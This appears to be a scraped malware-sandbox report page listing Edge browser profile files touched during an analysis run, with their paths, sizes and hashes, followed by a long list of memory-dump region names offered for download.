SHA512 1a616d299248ea7424c92347e2568121b74d992540a7c2809c47f5e8113710d7965935a30c55d53ceef337cee1ae1bdbacfc42ed7e68109e206d0f729f22be4f
TLSH
T1E4D012663B4AB001E7698230E4C2C311267650E038864A01B254C81D99E41D86693186
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 90371bf7f2d9f3b60c0aa66ed89740cd725604cc541112971bd392e8746018f0
MD5 a9d241f865f7d582346ece871b98ee14
SHA1 c59a959f2a8673df7c09862b8f91a9e9492ec3cf
SHA512 4822e1484423dfa2530e9a541260d4dcddb675339b2e5fb22cf50c15d65cd0b147c7d94ff11a6d6523e90406c9ad88e5919ccc3fc5ec3b74cbfa28567977506e
TLSH
T1F3D01266374AB001E76D8230E4C2C311266654E038864A01B214C81D99A41D86293186
MD5 SHA1 SHA512 TLSH

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 1d23c244fdaf2dbef366c3270720425533313b9040b051fbdc316b02f7aea884
MD5 de530d13e0ffe4d3ac1a9afbedb7b18a
SHA1 aa63198593dd93f151a123fa774b8db135a68e66
SHA512 bb625906155237ca6cb515733e71d9150af00d27c5cbe5b2a26341b62387125f358d42a94fc97cb35518f6380e89d0f7e6b45a43575e81319f23a564e5cc4f69
TLSH
T142F028B6C821DC2B18FD1B2934941B0BE755172B2B40885F3B3D930D8FB563F469A95C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 c454373c4d973eedbe28c46c55c2a494db5abb9c19616f2295ba697d3bedcbfa
MD5 5431ca86f0911d75a036678b4761442c
SHA1 abf8d9bb97aee1871ac8ee2765e22a8fec587ddc
SHA512 c2a6ef7300f09ee1d6f6e1a5ebd1035065c15eec2db0b7f23a72872f75a39d708ed5ed70da3a01a2f3a39942464a79822ebd9af207a1ba18e53b507e330a508c
SSDEEP 192:cFkbIH791le1K77LTl56jbSp+bv+TVCNnCtTq/tVZ3KjlNrOJ1blR6ZsFdT2MHw2:ctGj+BCNC5qFVpKxfnG
TLSH
T109B29A1632BA02033C3DB91D87A497375A42B1A33058E97B7BE854B60E67E215DFD8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 224KB
SHA256 cd2e8fd11cd96bc4c59626afb749b3654016cc916685f3291e77e12e9fb44dc2
MD5 92b3194f3af74af281e0a782db1241d8
SHA1 23d83e4cd2a188947db453154f75f5a919ddbf11
SHA512 883974ef0256125011be2629a89de9384f3442d64fcb80c01e93b5ab6d6d037bf4c2a08f3fb348b1821e1e99cbd092969ed367db60422acfc730098ed5208b91
SSDEEP 192:FvoWddu1FcNfT8wRJQnGL11HLfzNSivuvTNN+u/egddCeyv/hVRdbsCEV:asfQ0JQn6lLfzAivuvBN+wtP2s
TLSH
T1C824640A7B747001EDE7D9725CB080771E3CB16ECF22A6916DA254694DB3853A23D8EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 b8954a6fe2dda9fb20f0bd4ba5f7606c98befc16224412df38e504164b5a70e0
MD5 644c23e1356cbbd3e550897d90a42cfc
SHA1 99409bfc26baf902a828baebf583eef5f754a91b
SHA512 2e234c327a50a3d79b55f8b9f486e1b1e9109ad1856a4283538e6c029e82dffc5853f035492bbdc6655b1412f4c1873cd7a994b5651c650da4fe4d9c244db327
SSDEEP 384:nPiF9CcmyWCs38N28TUNTUlIxBrk6osdF1zCfbLocBEsbIRSte4KV8p0QEty/7IV:aFccps3twg4YdzOoRsIStI8p0J
TLSH
T1FAB24B36EC59CAB7ECDA4F99E74EA507DEE01167868C9EE4DAD81E0D008719D130BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5636-111-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-76-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-48-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-47-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-46-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-58-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-117-0x0000000000400000-0x000000000045F000-memory.dmp

Download

memory/5636-116-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-115-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-114-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-113-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-112-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-0-0x0000000000400000-0x000000000045F000-memory.dmp

Download

memory/5636-110-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-109-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-108-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-107-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-106-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-105-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-104-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-103-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-102-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-101-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-100-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-99-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-98-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-97-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-96-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-95-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-94-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-93-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-92-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-91-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-90-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-89-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-88-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-87-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-86-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-85-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-84-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-83-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-82-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-81-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-80-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-79-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-78-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-77-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-49-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-75-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-74-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-73-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-72-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-71-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-70-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-69-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-68-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-67-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-66-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-65-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-64-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-63-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-62-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-61-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-60-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-59-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-57-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-50-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-51-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-52-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-53-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-54-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-55-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-56-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-42-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-43-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-271-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-270-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-272-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-288-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-287-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-286-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-285-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-284-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-274-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-283-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-282-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-281-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-280-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-279-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-278-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-277-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-276-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-275-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-273-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-44-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download

memory/5636-45-0x0000000023CC0000-0x0000000023CC1000-memory.dmp

Download